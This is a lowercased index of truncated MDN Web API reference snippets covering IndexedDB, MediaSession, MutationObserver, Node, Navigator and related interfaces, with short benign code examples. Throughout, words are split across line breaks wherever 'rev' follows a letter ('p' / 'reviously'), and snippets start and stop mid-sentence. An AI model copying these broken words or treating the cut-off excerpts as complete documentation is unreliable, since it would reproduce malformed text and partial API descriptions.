ry, direction); parameters query optional the key range to be queried. if a single valid key is passed, this will default to a range containing only that key. if nothing is passed, this will default to a key range that selects all the records in this object store. direction optional an idbcursordirection telling the cursor what direction to travel. valid values are "next", "nextunique", "p
rev", and "p
revunique". the default is "next". return value an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror this idbobjectstore or idbindex has been deleted. transactioninactiveerror this idbobjectstor...
IDBOpenDBRequest.onupgradeneeded - Web APIs
version 3 of the database. var request = window.indexeddb.open("library", 3); // this event handles the event whereby a new version of the // database needs to be created. either one has not been created // before, or a new version number has been submitted via the // window.indexeddb.open line above. request.onupgradeneeded = function(event) { db = request.result; db.onerror = function(erro
revent) { note.innerhtml += '<li>error loading database.</li>'; }; if (event.oldversion < 1) { // version 1 is the first version of the database. var store = db.createobjectstore("books", {keypath: "isbn"}); var titleindex = store.createindex("by_title", "title", {unique: true}); var authorindex = store.createindex("by_author", "author"); } if (event.oldversion < 2) { ...
IDBTransaction.oncomplete - Web APIs
the oncomplete event handler of the idbtransaction interface handles the complete event, fired when the transaction successfully completes. as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702), which is the same behaviour as other indexeddb-supporting browsers. p
reviously in a readwrite transaction idbtransaction.oncomplete was fired only when all data was guaranteed to have been flushed to disk. in firefox 40+ the complete event is fired after the os has been told to write the data but potentially before that data has actually been flushed to disk. the complete event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the os crashes or there is a loss of ...
IIRFilterNode - Web APIs
er, if you need to create an odd-ordered iir filter, you'll need to use iirfilternode. you may also find this interface useful if you don't need automation, or for other reasons. once the node has been created, you can't change its coefficients. iirfilternodes have a tail-time reference; they continue to output non-silent audio with zero input. as an iir filter, the non-zero input continues fo
rever, but this can be limited after some finite time in practice, when the output has approached zero closely enough. the actual time that takes depends on the filter coefficients provided. constructor iirfilternode() creates a new instance of an iirfilternode object. properties this interface has no properties of its own; however, it inherits properties from its parent, audionode. methods ...
ImageBitmapRenderingContext - Web APIs
e first argument to htmlcanvaselement.getcontext() or offscreencanvas.getcontext()) is "bitmaprenderer". this interface is available in both the window and the worker context. methods imagebitmaprenderingcontext.transferfromimagebitmap() displays the given imagebitmap in the canvas associated with this rendering context. ownership of the imagebitmap is transferred to the canvas. this was p
reviously named transferimagebitmap(), but was renamed in a spec change. the old name is being kept as an alias to avoid code breakage. specifications specification status comment html living standardthe definition of 'imagebitmaprenderingcontext' in that specification. living standard ...
IndexedDB API - Web APIs
with the following custom interface: idbversionchangeevent the idbversionchangeevent interface indicates that the version of the database has changed, as the result of an idbopendbrequest.onupgradeneeded event handler function. obsolete interfaces an early version of the specification also defined the following, now removed, interfaces. they are still documented in case you need to update p
reviously written code: idbversionchangerequest represents a request to change the version of a database. the way to change the version of the database has since changed (by calling idbfactory.open without also calling idbdatabase.setversion), and the interface idbopendbrequest now has the functionality of the removed idbversionchangerequest. idbdatabaseexception represents exception condi...
InstallTrigger - Web APIs
more software packages archived in the xpi file format. the following is a basic example of an install trigger on a web page: xpi={'xpinstall dialog display name':'simple.xpi'}; installtrigger.install(xpi); you can also use the installtrigger object to install netscape 6/mozilla skins and language packs, and perform multiple-package installations with install. compa
reversion compares the version of a file or package with the version of an existing file or package. enabled indicates whether or not software installation is enabled for this client machine. getversion returns an object representing the version number from the client version registry for the specified component. it is used in both trigger scripts and installat...
IntersectionObserverEntry.target - Web APIs
the intersectionobserverentry interface's read-only target property indicates which targeted element has changed its amount of intersection with the intersection root. syntax var target = intersectionobserverentry.target; value the intersectionobserverentry's target property specifies which element p
reviously targeted by calling intersectionobserver.observe() experienced a change in intersection with the root. example in this simple example, each targeted element's opacity is set to its intersectionratio. function intersectioncallback(entries) { entries.foreach(function(entry) { entry.target.opacity = entry.intersectionratio; }); } to see a more concrete example, take a look at handling intersection changes in timing element visibility with the intersection observe...
KeyboardEvent - Web APIs
or depends on the specific platform. it will either behave like windows or mac depending on what the native event model does. note: manually firing an event does not generate the default action associated with that event. for example, manually firing a key event does not cause that letter to appear in a focused text input. in the case of ui events, this is important for security reasons, as it p
revents scripts from simulating user actions that interact with the browser itself. example <!doctype html> <html> <head> <script> 'use strict'; document.addeventlistener('keydown', (event) => { const keyname = event.key; if (keyname === 'control') { // do not alert when only control key is pressed. return; } if (event.ctrlkey) { // even though event.key is not 'control' (e.g...
KeyframeEffect.KeyframeEffect() - Web APIs
be animated, or null. keyframeset an keyframe object or null. keyframeoptions optional either an integer representing the animation's duration (in milliseconds), or an object containing one or more of the following: delay optional the number of milliseconds to delay the start of the animation. defaults to 0. direction optional whether the animation runs forwards (normal), backwards (
reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-
reverse). defaults to "normal". duration optional the number of milliseconds each iteration of the animation takes to complete. defaults to 0. although this is technically optional, keep in mind that your animation will not run if this value is 0. easing optional ...
KeyframeEffect.iterationComposite - Web APIs
override each other upon each of the animation's iterations. syntax // getting var iterationcompositeenumeration = keyframeeffect.iterationcomposite; // setting keyframeeffect.iterationcomposite = 'replace'; values replace the keyframeeffect value produced is independent of the current iteration. accumulate subsequent iterations of the keyframeeffect build on the final value of the p
revious iteration. specifications specification status comment web animations level 2the definition of 'iterationcomposite' in that specification. draft initial definition. ...
LayoutShiftAttribution - Web APIs
the layoutshiftattribution interface of the layout instability api provides debugging information about elements which have shifted. properties layoutshiftattribution.node returns the element that has shifted (null if it has been removed). layoutshiftattribution.p
reviousrect returns a domrect representing the position of the element before the shift. layoutshiftattribution.currentrect returns a domrect representing the position of the element after the shift. specifications specification status comment layout instability apithe definition of 'layoutshiftattribution' in that specification. editor's draft initial definition. ...
LocalMediaStream - Web APIs
ediastream.stop() stops the stream. when the source of the stream is a connected device (such as a camera or microphone), capture of media from the device is halted. this method is no longer available with the deprecation of localmediastream. see stopping a video stream in mediastreamtrack to learn how to stop an entire stream. specifications not part of any specification. this interface was p
reviously part of media capture and streams but was removed in 2013. ...
Location: ancestorOrigins - Web APIs
you can use location.ancestororigins in the script for a document to determine, for example, whenever the document is being framed by a site which you don’t expect it to be framed by. you can also use it to vary the behavior of the document based on what site or list of sites is framing it. ...
Lock - Web APIs
properties lock.mode read only returns the access mode passed to lockmanager.request() when the lock was requested. the mode is either "exclusive" (the default) or "shared". lock.name read only returns the name passed to lockmanager.request() when the lock was requested. examples the following examples show how the mode and name properties are passed in the call to lockmanager.request(). lockmanager is the object returned by navigator.locks. ...
MIDIConnectionEvent - Web APIs
for example, this event is fired whenever a midi device is either plugged in to or unplugged from a computer. constructor midiconnectionevent.midiconnectionevent creates a new midiconnectionevent object. ...
MSManipulationEvent.initMSManipulationEvent() - Web APIs
ncelablearg, viewarg, detailarg, laststate, currentstate); parameters typearg [in] type: domstring the type of the event being created. canbubblearg [in] type: boolean indicates whether the event can bubble. when true the event should propagate upward. when false the event does not propagate upward. cancelablearg [in] type: boolean indicates whether the event’s default action can be p
revented. when true, the default action can be canceled. when false, the default action cannot be canceled. viewarg [in] type: abstractview the view in which the event is taking place. detailarg [in] type: integer specifies some detailed information depending upon the event. laststate [in] type: integer indicates the last state of the manipulation event. currentstate [in] type: integer in...
MediaDevices.getDisplayMedia() - Web APIs
frontmost tab. notallowederror permission to access a screen area was denied by the user, or the current browsing instance is not permitted access to screen sharing. notfounderror no sources of screen video are available for capture. notreadableerror the user selected a screen, window, tab, or other source of screen data, but a hardware or operating system level error or lockout occurred, p
reventing the sharing of the selected source. overconstrainederror after creating the stream, applying the specified constraints fails because no compatible stream could be generated. typeerror the specified constraints include constraints which are not permitted when calling getdisplaymedia(). these unsupported constraints are advanced and any constraints which in turn have a member named min or...
MediaError.code - Web APIs
a numeric value indicating the general type of error which occurred. the possible values are described below, in media error code constants. media error code constants name value description media_err_aborted 1 the fetching of the associated resource was aborted by the user's request. media_err_network 2 some kind of network error occurred which p
revented the media from being successfully fetched, despite having p
reviously been available. media_err_decode 3 despite having p
reviously been determined to be usable, an error occurred while trying to decode the media resource, resulting in an error. media_err_src_not_supported 4 the associated resource or media provider object (such as a mediastream) has been found to...
MediaError - Web APIs
ent wrong. properties this interface doesn't inherit any properties. mediaerror.code a number which represents the general type of error that occurred, as follows: name value description media_err_aborted 1 the fetching of the associated resource was aborted by the user's request. media_err_network 2 some kind of network error occurred which p
revented the media from being successfully fetched, despite having p
reviously been available. media_err_decode 3 despite having p
reviously been determined to be usable, an error occurred while trying to decode the media resource, resulting in an error. media_err_src_not_supported 4 the associated resource or media provider object (such as a mediastream) has been found to...
MediaPositionState.duration - Web APIs
be used by the user agent to provide a user interface which displays media playback information to the viewer. for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward,
reverse, and other controls. syntax let positionstate = { duration: durationinseconds }; let durationinseconds = positionstate.duration; value a floating-point value indicating the overall duration, in seconds, of the media being performed. this value should always be positive. to indicate media of unknown or indeterminate length, such as an ongoing live stream, specify a value of positive infi...
MediaPositionState.position - Web APIs
n, used by the user agent to provide a user interface which displays media playback information to the viewer. for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward,
reverse, and other controls. syntax let positionstate = { position: timeinseconds }; let duration = positionstate.duration; value a floating-point value indicating the current playback position within the media currently being performed, in seconds. this value should always be zero or more. example in this example, a player for a non-standard media file format, written in javascript, uses set...
MediaPositionState - Web APIs
itive number, with positive infinity (infinity) indicating media without a defined end, such as a live stream. playbackrate a floating-point value indicating the rate at which the media is being played, as a ratio relative to its normal playback speed. thus, a value of 1 is playing at normal speed, 2 is playing at double speed, and so forth. negative values indicate that the media is playing in
reverse; -1 indicates playback at the normal speed but backward, -2 is double speed in
reverse, and so on. position a floating-point value indicating the last reported playback position of the media in seconds. this must always be a positive value. specifications specification status comment media session standardthe definition of 'mediapositionstate' in that specific...
MediaQueryList - Web APIs
ener callback from the callbacks to be invoked when the mediaquerylist changes media query status, which happens any time the document switches between matching and not matching the media queries listed in the mediaquerylist. this method has been kept for backward compatibility; if possible, you should generally use removeeventlistener() to remove change notification callbacks (which should have p
reviously been added using addeventlistener()). events the following events are delivered to mediaquerylist objects: change sent to the mediaquerylist when the result of running the media query against the document changes. for example, if the media query is (min-width: 400px), the change event is fired any time the width of the document's viewport changes such that its width moves across the ...
MediaRecorder: error event - Web APIs
the mediarecorder interface's error event is fired when an error occurs: for example because recording wasn't allowed or was attempted using an unsupported codec. bubbles no cancelable no interface mediarecordererro
revent event handler property onerror for details of the all the possible errors see the documentation for the event handler property: onerror. examples using addeventlistener to listen for error events: async function record() { const stream = await navigator.mediadevices.getusermedia({audio: true}); const recorder = new mediarecorder(stream); recorder.addeventlistener('error', (event) => { console.error(`error recording stream: ${event.error.name}`) }); recorder.start(); } record(); the same...
MediaRecorder.onerror - Web APIs
the mediarecorder interface's onerror event handler is called by the mediastream recording api when an error occurs. you can provide an event handler to deal with errors that occur while creating or using a media recorder. the error object is of type mediarecordererro
revent, and its error property contains a domexception object that describes the error that occurred. syntax mediarecorder.onerror = errorhandlerfunction; value a function to be called whenever an error occurs during the recorder's lifetime. in addition to other general errors that might occur, the following errors are specifically possible when using the mediastream recording api; to determine which occurred, check the value of mediarecordererro
revent.error.name. invalidstateerror an attempt was made to stop or pause o...
MediaRecorder.resume() - Web APIs
when the resume() method is invoked, the browser queues a task that runs the following steps: if mediarecorder.state is "inactive", raise a dom invalidstate error and terminate these steps. if mediarecorder.state is not "inactive", continue to the next step. set mediarecorder.state to "recording". continue gathering data into the current blob. raise a resume event. ...
MediaSession - Web APIs
host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('p
revioustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } the following example sets up event handlers for pausing and playing: var audio = document.queryselector("#player"); audio.src = "song.mp3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); naviga...
Media Session action types - Web APIs
ed type. values each of the actions is a common media session control request. implement support for each of these in order to allow that type of action to be performed. the following strings identify the currently available types of media session action: nexttrack advances playback to the next track. pause pauses playback of the media. play begins (or resumes) playback of the media. p
revioustrack moves back to the p
revious track. seekbackward seeks backward through the media from the current position. the mediasessionactiondetails property seekoffset specifies the amount of time to seek backward. seekforward seeks forward from the current position through the media. the mediasessionactiondetails property seekoffset specifies the amount of time to seek forward. seekto moves...
MediaSessionActionDetails.action - Web APIs
the action handler callback is being executed for. syntax let mediasessionactiondetails = { action: actiontype }; let actiontype = mediasessionactiondetails.action; value a domstring specifying which of the action types the callback is being invoked for: nexttrack advances playback to the next track. pause pauses playback of the media. play begins (or resumes) playback of the media. p
revioustrack moves back to the p
revious track. seekbackward seeks backward through the media from the current position. seekforward seeks forward from the current position through the media. seekto moves the playback position to the specified time within the media. skipad skips past the currently playing advertisement or commercial. this action may or may not be available, depending on the p...
MediaSource - Web APIs
e.onsourceended the event handler for the sourceended event. mediasource.onsourceopen the event handler for the sourceopen event. methods inherits methods from its parent interface, eventtarget. mediasource.addsourcebuffer() creates a new sourcebuffer of the given mime type and adds it to the mediasource.sourcebuffers list. mediasource.clearliveseekablerange() clears a seekable range p
reviously set with a call to setliveseekablerange(). mediasource.endofstream() signals the end of the stream. mediasource.removesourcebuffer() removes the given sourcebuffer from the mediasource.sourcebuffers list. mediasource.setliveseekablerange() sets the range that the user can seek to in the media element. static methods mediasource.istypesupported() returns a boolean value indicatin...
MediaStreamTrack: ended event - Web APIs
or because no further data is available. bubbles no cancelable no interface event event handler property mediastreamtrack.onended usage notes ended events fire when the media stream track's source permanently stops sending data on the stream. there are various ways this can happen, including: there is no more data left to send. the user
revoked the permissions needed for the data to be sent. the hardware generating the source data has been removed or ejected. a remote peer has permanently stopped sending data; pausing media does not generate an ended event. examples this example sets up an event handler for the ended event, which changes an on-screen icon to indicate that the track is no longer active. track.addeventlistener('...
MediaStreamTrack.onended - Web APIs
the mediastreamtrack.onended event handler is used to specify a function which serves as an eventhandler to be called when the ended event occurs on the track. this event occurs when the track will no longer provide data to the stream for any reason, including the end of the media input being reached, the user
revoking needed permissions, the source device being removed, or the remote peer ending a connection. syntax mediastreamtrack.onended = function; value a function to serve as an eventhandler for the ended event. the event handler function receives a single parameter: the event object, which is a simple event object. examples this example sets up an event handler for the ended event which changes an on-screen icon to indicate that the track is no longer active. track.onended = f...
MediaStreamTrack.onoverconstrained - Web APIs
event is received. such an event is sent when the track is again able to send data. syntax track.onoverconstrained = function; values function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}. an event handler always has one single parameter, containing the event, here of type mediastreamerro
revent. example dc.onoverconstrained = function() { alert("overconstrained event detected!"); }; ...
MediaTrackSettings.echoCancellation - Web APIs
lue indicates whether or not echo cancellation is enabled on an audio track. this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.echocancellation property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). echo cancellation is a feature which attempts to p
revent echo effects on a two-way audio connection by attempting to reduce or eliminate crosstalk between the user's output device and their input device. for example, it might apply a filter that negates the sound being produced on the speakers from being included in the input track generated from the microphone. if needed, you can determine whether or not this constraint is supported by checking th...
Media Session API - Web APIs
asession.setactionhandler('play', function() { /* code excerpted. */ }); navigator.mediasession.setactionhandler('pause', function() { /* code excerpted. */ }); navigator.mediasession.setactionhandler('seekbackward', function() { /* code excerpted. */ }); navigator.mediasession.setactionhandler('seekforward', function() { /* code excerpted. */ }); navigator.mediasession.setactionhandler('p
revioustrack', function() { /* code excerpted. */ }); navigator.mediasession.setactionhandler('nexttrack', function() { /* code excerpted. */ }); } some user agents disable autoplay for media elements on mobile devices and require a user gesture to start media. the following example adds a pointerup event to an on-page play button, which is then used to kick off the media session code: playbutton...
Media Source API - Web APIs
g clients. while there are other protocols available (such as http live streaming (hls)), dash has the most platform support. dash moves lots of logic out of the network protocol and into the client side application logic, using the simpler http protocol to fetch files. indeed, one can support dash with a simple static file server, which is also great for cdns. this is in direct contrast with p
revious streaming solutions that required expensive licenses for proprietary non-standard client/server protocol implementations. the two most common use cases for dash involve watching content “on demand” or “live.” on demand allows a developer to take their time transcoding the assets into multiple resolutions of various quality. live profile content can introduce latency due to its tran...
Capabilities, constraints, and settings - Web APIs
when either constraint edit box is focused. function keydownhandler(event) { if (event.key == "tab") { let elem = event.target; let str = elem.value; let position = elem.selectionstart; let newstr = str.substring(0, position) + " " + str.substring(position, str.length); elem.value = newstr; elem.selectionstart = elem.selectionend = position + 2; event.p
reventdefault(); } } videoconstrainteditor.addeventlistener("keydown", keydownhandler, false); audioconstrainteditor.addeventlistener("keydown", keydownhandler, false); show constrainable properties the browser supports the last significant piece of the puzzle: code that displays, for the user's reference, a list of the constrainable properties which their browser supports. each property is a l...
MerchantValidationEvent.complete() - Web APIs
all you have to do is call complete() from your handler for the merchantvalidation event, passing in the data fetched from the validationurl. syntax merchantvalidationevent.complete(validationdata); merchantvalidationevent.complete(merchantsessionpromise); parameters validationdata or merchantsessionpromise an object containing the data needed to complete the merchant validation process, or a promise which resolves to the validation data. return value undefined. ...
MouseEvent.initMouseEvent() - Web APIs
ctrlkey, altkey, shiftkey, metakey, button, relatedtarget); parameters type the string to set the event's type to. possible types for mouse events include: click, mousedown, mouseup, mouseover, mousemove, mouseout. canbubble whether or not the event can bubble. sets the value of event.bubbles. cancelable whether or not the event's default action can be p
revented. sets the value of event.cancelable. view the event's abstractview. you should pass the window object here. sets the value of uievent.view. detail the event's mouse click count. sets the value of uievent.detail. screenx the event's screen x coordinate. sets the value of mouseevent.screenx. screeny the event's screen y coordinate. sets the value of mouseevent.screeny. clientx the ev...
MouseEvent.pageX - Web APIs
long integer, but was redefined in the cssom view module to be a double-precision floating-point number to allow for subpixel precision. even though numeric types both are represented by number in javascript, they may be handled differently internally in the browser's code, resulting in potential behavior differences. see browser compatibility to learn which browsers have been updated to use the
revised data type. example more examples you can also see an example that demonstrates how to access the mouse position information in every available coordinate system. let's take a look at a simple example that shows you the mouse's position relative to the page's origin. since this example is presented in an <iframe>, that top-left corner is the top-left corner of the frame, not the browser wi...
MouseEvent.which - Web APIs
tton was pressed on the mouse to trigger the event. the standard alternatives to this property are mouseevent.button and mouseevent.buttons. syntax var buttonpressed = instanceofmouseevent.which return value a number representing a given button: 0: no button 1: left button 2: middle button (if present) 3: right button for a mouse configured for left-handed use, the button actions are
reversed. in this case, the values are read from right to left. specification this is not part of any specification. ...
MutationEvent - Web APIs
events in dom4. they are expected to be included in firefox 14 and chrome 18. the practical reasons to avoid the mutation events are performance issues and cross-browser support. performance adding dom mutation listeners to a document profoundly degrades the performance of further dom modifications to that document (making them 1.5 - 7 times slower!). moreover, removing the listeners does not
reverse the damage. the performance effect is limited to the documents that have the mutation event listeners. cross-browser support these events are not implemented consistently across different browsers, for example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support ...
MutationObserver.MutationObserver() - Web APIs
tion.type) { case 'childlist': /* one or more children have been added to and/or removed from the tree. (see mutation.addednodes and mutation.removednodes.) */ break; case 'attributes': /* an attribute value changed on the element in mutation.target. the attribute name is in mutation.attributename, and its p
revious value is in mutation.oldvalue. */ break; } }); } the callback() function is invoked when the observer sees changes matching the configuration of the observation request specified when calling observe() to begin watching the dom. the kind of change that took place (either a change to the list of children, or a change to an attribute) is detected by looking at the mutation.type...
MutationObserver.observe() - Web APIs
a portion of that subtree is detached and moved elsewhere in the dom, you continue to watch the detached segment of nodes, receiving the same callbacks as before the nodes were detached from the original subtree. in other words, until you've been notified that nodes are being split off from your monitored subtree, you'll get notifications of changes to that split-off subtree and its nodes. this p
revents you from missing changes that occur after the connection is severed and before you have a chance to specifically begin monitoring the moved node or subtree for changes. theoretically, this means that if you keep track of the mutationrecord objects describing the changes that occur, you should be able to "undo" the changes, rewinding the dom back to its initial state. example in this exampl...
MutationObserverInit.attributeFilter - Web APIs
h item in the list of mutationrecord objects. for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), we use the attribute's name, obtained using mutationrecord.attributename, to identify the type of change that occurred and then dispatch to the appropriate handler function. note the use of mutationrecord.oldvalue to get the p
revious value of the "username" property so we have that information when doing lookups in our local array of users. when observe() is called, the specified options include both attributefilter and subtree, so that we monitor the attribute values for all of the nodes contained within the subtree rooted at the node with the id "userlist". the attributeoldvalue option is set to true because we want th...
MutationObserverInit.attributeOldValue - Web APIs
user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue). when observe() is called, the specified options are attributes and attributeoldvalue, which means that changes to attribute values will be reported, and each mutation record will include the oldvalue property specifying the attribute's p
revious value. specifications specification status comment domthe definition of 'mutationobserverinit.attributeoldvalue' in that specification. living standard ...
MutationObserverInit.characterData - Web APIs
er or not to call the observer's callback function when textual nodes' values change. if true, the callback specified when observe() was used to start observing the node or subtree is called any time the contents of a text node are changed. you can expand the capabilities of attribute mutation monitoring using other options: characterdataoldvalue lets you specify whether or not you want the p
revious value of changed text nodes to be provided using the mutationrecord's oldvalue property. subtree lets you specify whether to watch the target node and all of its descendants (true), or just the target node (false). if you set characterdataoldvalue to true, characterdata is automatically assumed to be true, even if you don't expressly set it as such. example specifications speci...
MutationObserverInit.characterDataOldValue - Web APIs
if you set the mutationobserverinit.characterdata property to true but don't set characterdataoldvalue to true as well, the mutationrecord will not include information describing the prior state of the text node's contents. character data changes are detectable on any text node, including nodes based on the text, processinginstruction, and comment interfaces. ...
MutationRecord - Web APIs
changed. for characterdata, it is the characterdata node. for childlist, it is the node whose children changed. mutationrecord.addednodes nodelist return the nodes added. will be an empty nodelist if no nodes were added. mutationrecord.removednodes nodelist return the nodes removed. will be an empty nodelist if no nodes were removed. mutationrecord.p
revioussibling node return the p
revious sibling of the added or removed nodes, or null. mutationrecord.nextsibling node return the next sibling of the added or removed nodes, or null. mutationrecord.attributename string returns the local name of the changed attribute, or null. mutationrecord.attributenamespace string returns the namespace of the chan...
NameList - Web APIs
namelist has been removed, effective with gecko 10.0 the namelist interface provides an abstraction for an ordered collection of name and namespace value pairs. ...
Navigator.cookieEnabled - Web APIs
= navigator.cookieenabled; cookieenabled is a boolean: true or false. note: when the browser is configured to block third-party cookies, and navigator.cookieenabled is invoked inside a third-party iframe, it returns true in safari, edge spartan and ie (while trying to set a cookie in such scenario would fail). it returns false in firefox and chromium-based browsers. note: web browsers may p
revent writing certain cookies in certain scenarios. for example, chrome 80+ does not allow creating cookies with samesite=none attribute, unless they are created over https and with secure attribute. example if (!navigator.cookieenabled) { // the browser does not support or is blocking cookies from being set. } specifications specification status comment html livin...
Navigator.sendBeacon() - Web APIs
t handlers. creating an <img> element and setting its src in the unload handler. most user agents will delay the unload to load the image. creating a no-op loop for several seconds in the unload handler. all of these methods block unloading the document, which slows down the next navigation. there is nothing the next page can do to avoid this, so the new page seems slow, even though it's the p
revious page's fault. the following example shows theoretical analytics code that attempts to submit data to a server with a synchronous xmlhttprequest in an unload handler. this results in the next page load to be delayed. window.addeventlistener("unload", function logdata() { var xhr = new xmlhttprequest(); xhr.open("post", "/log", false); // third parameter of `false` means synchronous xhr...
Navigator.vibrate() - Web APIs
if the method was unable to vibrate because of invalid parameters, it will return false, else it returns true. if the pattern leads to a too long vibration, it is truncated: the max length depends on the implementation. ...
Navigator.wakeLock - Web APIs
the wakelock read-only property returns a wakelock interface which allows a document to acquire a screen wake lock. while a screen wake lock is active, the user agent will try to p
revent the device from dimming the screen, turning it off completely, or showing a screensaver. syntax const wakelock = navigator.wakelock; specifications specification status comment screen wake lock api editor's draft initial definition ...
Navigator - Web APIs
avigator.mediasession returns mediasession object which can be used to provide metadata that can be used by the browser to present information about the currently-playing media to the user, such as in a global media controls ui. navigator.moznotification deprecated since gecko 22 ... navigator.wakelock read only returns a wakelock interface you can use to request screen wake locks and p
revent screen from dimming, turning off, or showing a screen saver. navigator.webkitnotification returns a notification object you can use to deliver notifications to the user from your web application. navigator.oscpu returns a string that represents the current operating system. navigator.productsub returns the build number of the current browser (e.g., "20060909"). navigator.securityp...
NavigatorID.userAgent - Web APIs
hods on the navigator object. the user agent string is built on a formal structure which can be decomposed into several pieces of info. each of these pieces of info comes from other navigator properties which are also settable by the user. gecko-based browsers comply with the following general structure: useragent = appcodename/appversion number (platform; security; os-or-cpu; localization; rv:
revision-version-number) product/productsub application-name application-name-version example alert(window.navigator.useragent) // alerts "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape6/6.1" specifications specification status comment html living standardthe definition of 'navigatorid.useragent' in that specification. living standard ...
Online and offline events - Web APIs
ely. network status autodetection was implemented in firefox 2. "online" and "offline" events firefox 3 introduces two new events: "online" and "offline". these two events are fired on the <body> of each page when the browser switches between online and offline mode. additionally, the events bubble up from document.body, to document, ending at window. both events are non-cancellable (you can't p
revent the user from coming online, or going offline). firefox 41 fires these events when the os reports a change in network connectivity on windows, linux, and os x. you can register listeners for these events in a few familiar ways: using addeventlistener on the window, document, or document.body by setting the .ononline or .onoffline properties on document or document.body to a javascript fu...
Node.getUserData() - Web APIs
the node.setuserdata and node.getuserdata methods are no longer available from web content. element.dataset or weakmap can be used instead. syntax userdata = somenode.getuserdata(userkey); parameters userkey is the key to choose the specific data sought for the given node. more than one key may have been assigned on a given node, containing its own value. ...
Node.insertBefore() - Web APIs
ent let sp1 = document.createelement("span") // get the reference element let sp2 = document.getelementbyid("childelement") // get the parent element let parentdiv = sp2.parentnode // insert the new element into before sp2 parentdiv.insertbefore(sp1, sp2) </script> note: there is no insertafter() method. it can be emulated by combining the insertbefore method with node.nextsibling. in the p
revious example, sp1 could be inserted after sp2 using: parentdiv.insertbefore(sp1, sp2.nextsibling) if sp2 does not have a next sibling, then it must be the last child — sp2.nextsibling returns null, and sp1 is inserted at the end of the child node list (immediately after sp2). example 3 insert an element before the first child element, using the firstchild property. // get the parent element...
Node.nextSibling - Web APIs
-only property returns the node immediately following the specified one in their parent's childnodes, or returns null if the specified node is the last child in the parent element. syntax nextnode = node.nextsibling notes gecko-based browsers insert text nodes into a document to represent whitespace in the source markup. therefore a node obtained, for example, using node.firstchild or node.p
revioussibling may refer to a whitespace text node rather than the actual element the author intended to get. see whitespace in the dom and w3c dom 3 faq: why are some text nodes empty? for more information. element.nextelementsibling may be used to obtain the next element skipping any whitespace nodes, other between-element text, or comments. example <div id="div-1">here is div-1</div> <div id=...
Node.rootNode - Web APIs
; value a node object representing the topmost node in the tree. example running the following line in supporting browsers should return a reference to the html/document node: console.log(document.body.rootnode); notes gecko-based browsers insert text nodes into a document to represent whitespace in the source markup. therefore a node obtained, for example, using node.firstchild or node.p
revioussibling may refer to a whitespace text node rather than the actual element the author intended to get. see whitespace in the dom and w3c dom 3 faq: why are some text nodes empty? for more information. ...
Node.textContent - Web APIs
ndant text nodes. it is impossible to insert the nodes again into any other element or into the same element after doing so. differences from innerhtml element.innerhtml returns html, as its name indicates. sometimes people use innerhtml to retrieve or write text inside an element, but textcontent has better performance because its value is not parsed as html. moreover, using textcontent can p
revent xss attacks. examples given this html fragment: <div id="diva">this is <span>some</span> text!</div> ... you can use textcontent to get the element's text content: let text = document.getelementbyid('diva').textcontent; // the text variable is now: 'this is some text!' ... or set the element's text content: document.getelementbyid('diva').textcontent = 'this text is different!'; // the ...
Node - Web APIs
rns null. node.parentnoderead only returns a node that is the parent of this node. if there is no such node, like if this node is the top of the tree or if doesn't participate in a tree, this property returns null. node.parentelementread only returns an element that is the parent of this node. if the node has no parent, or if that parent is not an element, this property returns null. node.p
revioussiblingread only returns a node representing the p
revious node in the tree, or null if there isn't such node. node.textcontent returns / sets the textual content of an element and all its descendants. obsolete properties node.localname read only returns a domstring representing the local part of the qualified name of an element. note: in firefox 3.5 and earlier, the property upp...
Notification.onerror - Web APIs
note: this feature is available in web workers. the onerror property of the notification interface specifies an event listener to receive error events. these events occur when something goes wrong with a notification (in many cases an error p
reventing the notification from being displayed.) syntax notification.onerror = function() { ... }; specifications specification status comment notifications apithe definition of 'onerror' in that specification. living standard initial specification. ...
Notification.requestPermission() - Web APIs
ns api for a good example of how to feature detect this and run code as appropriate. the requestpermission() method of the notification interface requests permission from the user for the current origin to display notifications. syntax the latest spec has updated this method to a promise-based syntax that works like this: notification.requestpermission().then(function(permission) { ... }); p
reviously, the syntax was based on a simple callback; this version is now deprecated: notification.requestpermission(callback); parameters callback optional deprecated since gecko 46 an optional callback function that is called with the permission value. deprecated in favor of the promise return value. returns a promise that resolves to a domstring with the permission picked by the user. pos...
OfflineAudioContext - Web APIs
e audio context at the specified time and returns a promise. offlineaudiocontext.startrendering() starts rendering the audio, taking into account the current connections and the current scheduled changes. this page covers both the event-based version and the promise-based version. deprecated methods offlineaudiocontext.resume() resumes the progression of time in an audio context that has p
reviously been suspended. note: the resume() method is still available — it is now defined on the baseaudiocontext interface (see baseaudiocontext.resume()) and thus can be accessed by both the audiocontext and offlineaudiocontext interfaces. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: complete fir...
OffscreenCanvas - Web APIs
ond canvas without creating a transfer copy. to display the imagebitmap, you can use a imagebitmaprenderingcontext context, which can be created by calling canvas.getcontext("bitmaprenderer") on a (visible) canvas element. this context only provides functionality to replace the canvas's contents with the given imagebitmap. a call to imagebitmaprenderingcontext.transferfromimagebitmap() with the p
